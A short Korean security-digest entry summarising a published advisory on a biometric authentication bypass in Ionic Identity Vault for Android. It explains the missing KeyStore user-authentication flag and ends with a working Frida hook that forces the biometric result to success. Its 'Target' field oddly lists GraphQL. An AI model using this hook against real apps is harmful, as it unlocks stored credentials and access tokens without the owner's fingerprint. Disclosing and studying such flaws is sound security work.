[하루한줄] Ionic Identity Vault Biometric Authentication Bypass

URL

https://blog.compass-security.com/2021/09/ionic-identity-vault-biometric-authentication-bypass/

Target

  • GraphQL

Explain

엑세스 토큰 같은 인증 정보를 저장하는데 사용되는 Ionic Identity Vault에서 생체인증 우회 취약점이 발견되었습니다.

먼저 유저가 데이터 접근 인증을 위해 생체인증을 활성화하게 되면 automaticallyCreateKey 메소드가 호출됩니다. 이 메소드에서는 KeyGenParameterSpec.Builder 메소드를 통해 새로운 KeyStore entry를 생성합니다. 이 과정에서 setUserAuthenticationRequired 메소드를 사용하지 않아 KeyStore entry는 사용될 때 사용자에게 생체인증을 요구하지 않게되고 인증 없이 사용될 수 있게 됩니다. 대신 다른 기능에서 이 기능을 대체합니다.

따라서 유저가 데이터 접근을 하게되면 생체인증을 위한 화면이 팝업되고 지문인식을 하면 loadKey 메소드가 호출됩니다. 이 과정 전에 onBiometricActivityResult 메소드가 호출되는데, 인증 결과를 첫 번째 인자로 받습니다. 인증 결과가 -1이면 인증에 성공하여 forceUnlock 메소드를 호출합니다.

KeyStore entry가 인증을 요구하지 않기 때문에, onBiometricActivityResult 메소드를 후킹해서 onBiometricActivityResult의 첫번재 인자를 -1로 세팅하여 인증을 우회할 수 있습니다.

Java.perform(function x() {
  var myclass = Java.use("com.ionicframework.auth.IonicNativeAuth");
  myclass.onBiometricActivityResult.implementation = function (a, b) {
    console.log("[*] Biometric Authentication Bypass Hook");
    console.log("Class: com.ionicframework.auth.IonicNativeAuth");
    console.log("  Method: onBiometricActivityResult");
    console.log("  Parameter: " + a);
    console.log("Change result from 0 to -1 in order to bypass authentication.");
    this.onBiometricActivityResult(-1, b); // This calls the method always with -1
  }
});